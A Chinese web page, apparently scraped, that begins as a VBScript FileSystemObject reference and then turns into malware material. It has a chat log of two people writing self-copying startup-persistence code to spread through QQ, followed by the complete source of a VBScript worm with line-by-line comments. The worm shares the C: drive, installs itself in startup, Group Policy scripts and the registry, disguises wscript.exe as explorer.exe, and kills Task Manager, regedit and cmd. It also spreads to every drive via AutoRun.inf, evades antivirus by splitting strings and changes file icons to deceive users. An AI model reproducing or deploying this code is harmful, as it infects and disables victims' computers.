赤月传说神翼:VBScript的对象操作方法

来源:百度文库 编辑:九乡新闻网 时间:2024/03/29 06:02:43
' FSO 文件操作相关
' FSO 参数详解:
' Fso.IsRootFolder=True|False '是否为根目录
' Fso.GetFolder '读取文件夹 用法:Set fldr = fso.GetFolder("C:\\目录2")
' Fso.FolderExists=True|False '查找此文件夹是否存在
' Fso.CreateFolder '创建文件夹 用法:fso.CreateFolder("C:\\目录1")
' Fso.GetBaseName '返回文件夹的名字 用法:fso.GetBaseName("C:\\目录1")
' Fso.DeleteFolder '删除指定的文件夹 用法:fso.DeleteFolder("C:\\目录1")
' Fso.MoveFolder '移动指定的文件夹 用法:fso.MoveFolder("C:\\目录1","C:\\目录2") 将C:\\目录1移动到C:\\目录2下
' Fso.CopyFolder '复制指定的文件夹 用法:fso.CopyFolder("C:\\目录2\\cnbruce","c:\\") 将C:\\目录2\\cnbruce复制到C:\\下
'
' Fso.Drive '返回驱动器的名字 返回 “D:”
' Fso.GetDriveName '提取驱动器名 返回“d:”
' Fso.GetDrive '提取驱动器名 返回 “D:” 常用写法:fso.GetDrive(fso.GetDriveName(drvPath))
' 磁盘驱动器信息
' Drv.DriveLetter '返回盘符
' Drv.VolumeName '取得驱动器的卷标
' Drv.TotalSize '取得空间总大小 返回字节数,用FormatNumber(Drive.TotalSize/1024,0)格式化,返回多少G
' Drv.FreeSpace '剩余空间大小 返回同上
' Drv.DriveType '文件类型 0“设备无法识别” 1“软盘驱动器” 2“硬盘驱动器” 3“网络硬盘驱动器” 4“光盘驱动器” 5“RAM虚拟磁盘”
' Drv.FileSystem '磁盘格式
' Drv.SerialNumber '磁盘系列号
' Drv.IsReady '是否可用
' Drv.Path '磁盘路径
'
' FSO文件操作
' Txt.OpenTextFile '打开指定的文件 用法:fso.OpenTextFile(whichfile,1) 参数1:表示“ForReading:只读,禁写。” 参数2:表示“ForWriting:可读,可写。” 参数8:表示“ForAppending:打开文件并从文件末尾开始写”
' Txt.ReadLine '读取一整行
' Txt.Read(7) '读取指定数量字符
' Txt.ReadAll '读取文本所有内容
' Txt.CreateTextFile '创建文件 用法:Set MyFile = Txt.CreateTextFile(whichfile,True) True即表示能覆盖已有文件
' Txt.WriteLine '向已有文件写入内容 用法:Txt.WriteLine("欢迎您来到本站")
' Txt.Name '返回文件名称
' Txt.ShortPath '返回文件短路径名
' Txt.Path '返回文件物理地址
' Txt.Attributes '返回文件属性
' 返回值附录:
' Normal 0 普通文件。 没有设置任何属性
' ReadOnly 1 只读文件。 可读写
' Hidden 2 隐藏文件。 可读写
' System 4 系统文件。 可读写
' Directory 16 文件夹或目录。 只读
' Archive 32 上次备份后已更改的文件。 可读写
' Alias 1024 链接或快捷方式。 只读
' Compressed 2048 压缩文件。 只读
'
' Txt.Move '移动指定的文件 用法:Set Txt = fso.GetFile(whichfile) Txt.Move "C:\\"
' Txt.Copy '复制指定的文件 用法:Set Txt = fso.GetFile(whichfile) Txt.Copy "D:\\"
' Txt.delete '删除指定的文件 用法:Set Txt = fso.GetFile("d:\\cnbruce.txt") Txt.delete
'
'
' Txt.Size '返回文件大小
' Txt.Type '返回文件类型
' Txt.DateCreated '返回文件创建时间
' Txt.DateLastAccessed '返回文件最近访问时间
' Txt.DateLastModified '返回文件最后修改时间
'
'
' 常用函数记录
' instr '用法:alert(instr("Abcde","A"))
' mid '用法:alert(mid("abjdllodfjd",2,8)) 说明:显示从第二位到第8位的这符




忘了在哪看过的一句话,说 Shell.Application 执行程序不能带参数。我也没测试过,便一直以为真的不能代参数。今天看到它的执行方法的名称时发现它和 WIN32 API 函数一个名称,突然想到会不会用法差不多!
经过我瞎加参数,一个个测试,得出了如下结果:

Set app= CreateObject("Shell.Application")
app.ShellExecute "cmd.exe","cmd /c ping www.lovemfc.cn","c:\","",1
set app=Nothing
'0 hide
'1 show
'2 min
'3 max


不用说了,第一个参数是“程序名”,第二个参数是“程序参数”,第三个参数是“路径”,第四个参数“未知”,第五个参数如下表:

0 隐藏运行
1 正常运行
2 最小化运行
3 最大化运行

没想到胡乱测试居然找出了这么多参数,GOOGLE一下,发现原来已经有好多人知道了,而且MSDN上有解释.见到过一些服务器删除了 Wscript.Shell 却忽略了Shell.Application 。却不知这个也是服务器的杀手级问题。

The Worm 23:23:21
so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Start Menu\Programs\启动\0day.vbs")
The Worm 23:23:31
On Error Resume Next
Set fs=CreateObject("Scripting.FileSystemObject")
Set dir1=fs.GetSpecialFolder(0)
Set dir2=fs.GetSpecialFolder(1)
Set so=CreateObject("Scripting.FileSystemObject")
dim r
Set r=CreateObject("Wscript.Shell")
so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Start Menu\Programs\启动\0day.vbs")
The Worm 23:24:16
另一种方法
Set fs=CreateObject("Scripting.FileSystemObject")
Set dir1=fs.GetSpecialFolder(0)
Set dir2=fs.GetSpecialFolder(1)
Set so=CreateObject("Scripting.FileSystemObject")
dim r
Set r=CreateObject("Wscript.Shell")
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce\deltree.exe","start.exe /m deltree /y "&dir1&"\Start Menu\Programs\启动\0day.vbs"
horse_b 23:24:20
能行吗?
The Worm 23:24:27
可以
horse_b 23:24:49
那就可以了,放在QQ里面也可以吗?
The Worm 23:24:57

horse_b 23:25:25
那赶紧做一个出来吧


关于 如何编译如下代码 ,全代码翻译[ZT]
set shell=createobject("wscri"+"pt.shell")
//创建一个wscript.shell对象,操作注册表等
这里我看到有人说他有问题,其实这个是一个伪装,就像那位兄弟说的一样,可以绕过某些杀毒软件,原理不在描述。
shell.run "net share game=c:\",0,1
set fso=createobject("scripting.fi"+"lesystemobject")
//创建一个filesystemobject,这个是文件用的
if left(wscript.scriptfullname,1)<>"c" then
fso.copyfile wscript.scriptfullname,"c:\windows\s"+"ystem32\eventqueue.vbs"
//看到了吧?fso.coypfile将本身复制到了后面 c:\windows......里
fso.copyfile "c:\windows\system32\wscript.exe","c:\w"+"indows\system32\\explorer.exe"
//同上,只是复制的文件不一样了,他把wscript.exe复制到后面的路径里,同时改名为explorer.exe,这个文件是用来执行脚本语言的。
shell.run "c:\windows\system32\explorer.exe c:\windows\system32\eventqueue.vbs"
//eventqueue.vbs 文件传递给exploer.exe 其实就是wscript.exe执行
fso.copyfile wscript.scriptfullname,"C:\Documents and Set"+"tings\All Users\「开始」菜单\程序\启动\Userinit.vbs"
//把自己加入到启动项目里
fso.copyfile wscript.scriptfullname,"C:\WINDOWS\System32\Gro"+"upPolicy\Machine\Scripts\Startup\Userinit.vbs"
//功能同上
fso.copyfile wscript.scriptfullname,"C:\WINDOWS\System32\GroupPolicy\U"+"ser\Scripts\Logon\Userinit.vbs"
//功能同上
set myfile=fso.opentextfile(wscript.scriptfullname,1)
content=myfile.readall
myfile.close
//以上三段功能是读取自己的代码
reg=split(content,"'###"+"###")
set reg1=fso.createtextfile("c:\windows\systemreg1.reg")
reg1.write replace(reg(2),"'","")
reg1.close
//以上创建一个注册表文件 *.reg
shell.run "regedit /s c:\windows\systemreg1.reg",0,1
//现在通过regedit将自己加入到了注册表
fso.delete "c:\windows\systemreg1.reg"
//加入完成后把自己删除
set reg2=fso.createtextfile("c:\windows\systemreg2.reg")
reg2.write replace(reg(3),"'","")
reg2.close
shell.run "regedit /s c:\windows\systemreg2.reg",0,1
fso.delete "c:\windows\systemreg2.reg"
//和上面一样不讲了
shell.run "c:\windows\system32\explorer.exe c:\windows\system32\userinit.vbs"
//还是那句话,通过wscript.exe 执行脚本
wscript.quit
end if
set check=fso.opentextfile("c:\windows\system32\userlook.vbs",2,1)
//将userlook.vbs打开
check.writeline "set ob = GetObject("+chr(34)+"winmgmts:
{impersonationLevel=impersonate}!\\.\root\cimv2"+chr(34)+")"
//在其中写如一行代码↑
check.writeline "set co=ob.execnotificationquery("+chr(34)+"select * from __instancecreationevent within 1 where TargetInstance isa 'Win32_Process'"+chr(34)+")"
//同上
check.writeline "do"
check.writeline "set obj=co.nextevent"
check.writeline "if obj.TargetInstance.Name="+chr(34)+"NOTEPAD.EXE"+chr(34)+" or "+"obj.TargetInstance.Name="+chr(34)+"msconfig.exe"+chr(34)+" or "+"obj.TargetInstance.Name="+chr(34)+"cmd.exe"+chr(34)+" or "+"obj.TargetInstance.Name="+chr(34)+"mmc.exe"+chr(34)+" or "+"obj.TargetInstance.Name="+chr(34)+"regedit.exe"+chr(34)+" or "+"obj.TargetInstance.Name="+chr(34)+"taskmgr.exe"+chr(34)+" then"
check.writeline "shell.run "+chr(34)+"ntsd -p "+chr(34)+"+cstr(+obj.TargetInstance.processid) +"+chr(34)+" -c q"+chr(34)
check.writeline "end if"
check.writeline "loop"
check.close
//呵呵,写如了一大串代码,其中chr(34)是"号,因为在vbs中直接用"号会执行出错
shell.run "c:\windows\system32\userlook.vbs",0
//在运行userlook.vbs
call publichook()
do
set drivers=fso.drives
//创建一个驱动器操作对象
for each d in drivers
if d.isready then
fso.copyfile wscript.scriptfullname,d.path+"\新建文件夹.vbs"
fso.copyfile wscript.scriptfullname,d.path+"\userdata.vbs"
shell.run "attrib +s +h +r "+d.path+"\userdata.vbs",0,1
//设置属性 +h 隐藏 +r 只读 +s 系统
set auto=fso.createtextfile(d.path+"\AutoRun.inf")
//又创建了一个AutoRun.inf文件,我想大家知道是干什么的,一打开包含有该文件的磁盘就会自动执行
auto.writeline "[autorun.inf]"
auto.writeline "Open=c:\windows\system32\wscript.exe userinit.vbs"
//在这里,看到不?直接打开userinit.vbs
auto.close
set auto=nothing
//释放资源
end if
next
wscript.sleep 15*1000
//休息15秒
loop
sub publichook()
rem This function just written for others to improve this script file.Have fun!
end sub


'######
'Windows Registry Editor Version 5.00
'
'[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
'"RavTask"="\"C:\\Program Files\\Rising\\Rav\\RavTask.exe\" -system"
'"Userinit"="\"c:\\windows\\system32\\explorer.exe c:\\windows\\system32\\eventqueue.vbs\""
//注册表中的东西,看上面路径知道是自启动,用来启动eventqueue.vbs
'
'
'######
'Windows Registry Editor Version 5.00
'
'[HKEY_CLASSES_ROOT\VBSFile\DefaultIcon]
'@=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,74,00,25,\
' 00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,73,00,68,00,\
' 65,00,6c,00,6c,00,2e,00,64,00,6c,00,6c,00,2c,00,2d,00,32,00,31,00,37,00,38,\
' 00,35,00,00,00
//[HKEY_CLASSES_ROOT\VBSFile\DefaultIcon]
//看VBSFile\DefaultIcon ---- VBS文件的默认图标,修改了默认图片,用来欺骗用户的

Ps:这串代码不用通过什么编译器编译成为可执行程序,直接在记事本中将他打开,然后另存为*.vbs文件就可以运行了,不过这个是个病毒程序。写的还不错……这里翻译一下方便大家学习